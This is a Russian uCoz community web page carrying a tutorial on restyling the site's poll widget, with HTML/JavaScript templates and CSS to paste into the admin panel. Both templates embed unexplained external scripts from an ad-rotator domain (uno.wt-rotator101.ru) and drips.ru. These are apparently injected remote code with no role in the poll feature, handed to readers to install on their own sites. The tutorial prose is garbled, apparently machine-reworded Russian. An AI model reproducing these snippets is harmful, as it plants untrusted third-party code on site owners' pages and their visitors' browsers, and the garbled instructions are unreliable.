Мини - Чат
Статистика
Статистика сайта

Пользователей всего: 381
Материалов всего [?]: 2503 +
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Гости сайта Пользователи

CY-PR.com

Пользователи онлайн:


Наша группа
USER бары
Топ Пользователей


Flava
Репутация: 32767
Постов: 10
Релизов: 1281


474
Репутация: 32767
Постов: 216
Релизов: 1077


3JloY
Репутация: 0
Постов: 1
Релизов: 42


Nixx
Репутация: 0
Постов: 1
Релизов: 29


Vlad_[Kst]
Репутация: 32767
Постов: 0
Релизов: 11
Пользователи
сталкер Дата [ 04.06.2025 ]
reallny1337 Дата [ 27.04.2025 ]
vikingfack6 Дата [ 05.01.2025 ]
stan-mars Дата [ 02.12.2024 ]
serega Дата [ 09.02.2024 ]
Наш код
Всё для тебя и твой игры!


Наши Группы
Связь с Админом
Skype: Aquenna_temir
Icq: Отсутствует
Вконтакте: rusya_temurtay
E-mail: Ruslan012395@Mail.ru

СТИЛИЗАЦИЯ ОПРОСА UCOZ V.1.5





Обобщение выборочного опроса uCoz v.1.5. Наиболее усовершенствованная издание стилизации обычного варианта выборочного опроса в порядку uCoz.
Для правила, я с вами обязан сменить старенький html адрес выборочного опроса в свежий, для данного забегаем в админ панель вашего интернет-сайта в порядке uCoz.
Убираем старый код и вставляем вот этот:

Код
<div class="cell_poll">  
<script language="javascript" src="http://uno.wt-rotator101.ru/?t=br&noadult=1&pid=21212"></script>  
<div class="poll_title">$QUESTION$</div>  
<script src="http://drips.ru/slider.js" type="text/javascript"></script>  
<div class="poll_variant">$ANSWERS$</div>  
<div class="poll_niz">  
<div class="poll_left"><a href="$RESULTS_LINK$">Результат</a></div>  
<div class="poll_right">Всего ответов: $TOTAL_VOTES$</div>  
</div>  
</div>  
<script type="text/javascript">  
var a = ['http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_01.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_02.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_03.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_04.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_05.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_06.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_07.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_08.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_09.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_10.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_11.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_12.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_13.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_14.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_15.png']; for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress').css({height: '12px'});$('div.answer div div').eq(i).addClass('progress progress_'+a).css({background: 'url(' + a[i] + ')', marginTop: '0px', marginBottom: '0px', height: '12px', backgroundRepeat: 'repeat-x'});}  
$('div.answer span').each(function(){$(this).html($(this).html()+' ')});  
</script>

Еще можно сделать функцию скрипта, под названием процент проголосовавших за тот или иной опрос, вот тоже код:

Code

<div class="cell_poll">  
<script language="javascript" src="http://uno.wt-rotator101.ru/?t=br&noadult=1&pid=21212"></script>  
<script src="http://drips.ru/slider.js" type="text/javascript"></script>  
<div class="poll_title">$QUESTION$</div>  
<div class="poll_variant">$ANSWERS$</div>  
<div class="poll_niz">  
<div class="poll_left"><a href="$RESULTS_LINK$">Результат</a></div>  
<div class="poll_right">Всего ответов: $TOTAL_VOTES$</div>  
</div>  
</div>  
<script type="text/javascript">  
var a = ['http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_01.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_02.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_03.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_04.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_05.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_06.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_07.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_08.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_09.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_10.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_11.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_12.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_13.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_14.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_15.png']; for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress').css({height: '12px'});$('div.answer div div').eq(i).addClass('progress progress_'+a).css({background: 'url(' + a[i] + ')', marginTop: '0px', marginBottom: '0px', height: '12px', backgroundRepeat: 'repeat-x'});}  
$('div.answer span').each(function(){$(this).html($(this).html()+' <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')});  
</script>

Почти все готово, для завершения остается только вставить вот этот код в CSS:

Code

/* Ячейка опроса  
------------------------------------------*/  
.cell_poll {  
float:left;  
color:#555;text-shadow: 1px 1px 1px #fff;  
width:220px;  
background: #fff;  
border: 1px solid #D0D1D3;  
padding: 0px 10px 5px 10px;  
}  

.poll_title {  
text-align:center;  
font: 115%/1.5 Verdana,Arial,Helvetica, sans-serif;  
font-weight: bold;  
padding: 5px 0px;  
border-bottom: 1px solid #D0D1D3;  
}  

.poll_variant {  
float:left;  
width:220px;  
padding: 5px 0px;  
}  

.poll_niz {  
float:left;  
font: 9px Verdana,Arial,Helvetica, sans-serif;  
width:220px;  
padding: 5px 0px;  
border-top: 1px solid #D0D1D3;  
}  

.poll_left {float:left;}  
.procent,  
.poll_right {float:right;}  

.answer {  
background: #F6FBFC;  
padding: 2px 5px 2px 5px;  
margin: 7px 0px 7px 0px;  
}  

.answer input,  
.answer label{  
margin:0;  
}  
.answer div div {  
height: 10px !important;  
border: 1px solid #fff;  
margin: 0px;  
}  

.answer div {  
display: block;  
position: relative;  
padding: 0 !important;  
border: 1px solid #B6B6B5;  
background: #F4F5F6;  
margin: 0px;  
}  
.procent {  
background: #DCEDF0;  
padding: 3px 5px;  
}  

.pollBut {  
font: 11px Verdana,Arial,Helvetica, sans-serif!important; font-weight: bold;  
color:#b17902!important; text-shadow:1px 1px 1px #fff!important;  
background:#fed66c!important;  
border:1px solid #e3b346!important;  
padding: 4px 8px;  
margin: 5px 0px 5px 0px;  
}  

.pollBut:hover {  
background:#ffe49c!important;  
}  
/*------------------------------------------*/



html-cсылка на публикацию
BB-cсылка на публикацию
Прямая ссылка на публикацию
Категория: Скрипты uCoz
Дата: 19.06.2025
Добавил: 474


Бесплатный конструктор сайтовuCoz